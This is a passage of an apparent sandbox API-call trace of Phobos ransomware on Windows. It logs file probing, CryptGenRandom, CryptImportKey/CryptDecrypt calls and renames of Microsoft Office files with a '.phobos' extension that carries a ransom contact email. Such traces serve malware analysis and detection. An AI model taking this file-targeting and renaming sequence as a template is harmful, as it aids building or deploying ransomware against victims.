office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.432] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.433] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=23232) returned 1 [0125.433] CloseHandle (hObject=0x594) returned 1 [0125.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x220 [0125.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.433] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.433] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=24768) returned 1 [0125.433] CloseHandle (hObject=0x594) returned 1 [0125.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x220 [0125.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.434] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.434] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=24768) returned 1 [0125.434] CloseHandle (hObject=0x594) returned 1 [0125.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x220 [0125.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.434] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.434] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=21184) returned 1 [0125.434] CloseHandle (hObject=0x594) returned 1 [0125.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x220 [0125.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.435] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.435] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=19136) returned 1 [0125.436] CloseHandle (hObject=0x594) returned 1 [0125.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x220 [0125.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.436] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.436] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=215768) returned 1 [0125.436] CloseHandle (hObject=0x594) returned 1 [0125.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe")) returned 0x220 [0125.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.436] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.437] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=255192) returned 1 [0125.437] CloseHandle (hObject=0x594) returned 1 [0125.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe")) returned 0x220 [0125.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.437] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.437] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.472] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=473760) returned 1 [0125.472] CloseHandle (hObject=0x594) returned 1 [0125.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll")) returned 0x420 [0125.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.135] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.136] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll")) returned 0 [0126.150] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.150] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe")) returned 0 [0126.152] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.152] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp")) returned 0 [0126.792] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.792] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml")) returned 0 [0126.793] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Excel.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\excel.x-none.msi.16_mondoww.mcxml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Excel.x-none.msi.16_mondoww.mcxml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\excel.x-none.msi.16_mondoww.mcxml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.794] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Excel.x-none.msi.16_mondoww.mcxml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\excel.x-none.msi.16_mondoww.mcxml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Excel.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\excel.x-none.msi.16_mondoww.mcxml")) returned 0 [0126.796] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_mondoww.mcxml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_mondoww.mcxml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.796] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_mondoww.mcxml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_mondoww.mcxml")) returned 0 [0126.797] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.797] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml")) returned 0 [0126.799] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_mondoww.mcxml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_mondoww.mcxml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.799] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_mondoww.mcxml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_mondoww.mcxml")) returned 0 [0126.799] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpivot.x-none.msi.16_mondoww.mcxml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpivot.x-none.msi.16_mondoww.mcxml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.800] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpivot.x-none.msi.16_mondoww.mcxml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpivot.x-none.msi.16_mondoww.mcxml")) returned 0 [0126.801] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\publisher.x-none.msi.16_mondoww.mcxml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\publisher.x-none.msi.16_mondoww.mcxml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.801] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\publisher.x-none.msi.16_mondoww.mcxml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\publisher.x-none.msi.16_mondoww.mcxml")) returned 0 [0126.940] CryptImportKey (in: hProv=0x7868d8, pbData=0x3ebf988, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ebf9f0 | out: phKey=0x3ebf9f0*=0x81cfa0) returned 1 [0126.940] CryptSetKeyParam (hKey=0x81cfa0, dwParam=0x1, pbData=0x3ebf9d8, dwFlags=0x0) returned 1 [0126.940] CryptDecrypt (in: hKey=0x81cfa0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0x3ebf9a4 | out: pbData=0xe71230, pdwDataLen=0x3ebf9a4) returned 1 [0126.940] CryptDestroyKey (hKey=0x81cfa0) returned 1 [0126.940] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0126.940] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x759b6b50 [0126.940] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0126.940] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 Thread: id = 177 os_tid = 0xf08 [0124.240] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x36f40a8 [0124.240] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x37040b0 [0124.241] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x28) returned 0xe79408 [0124.241] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, 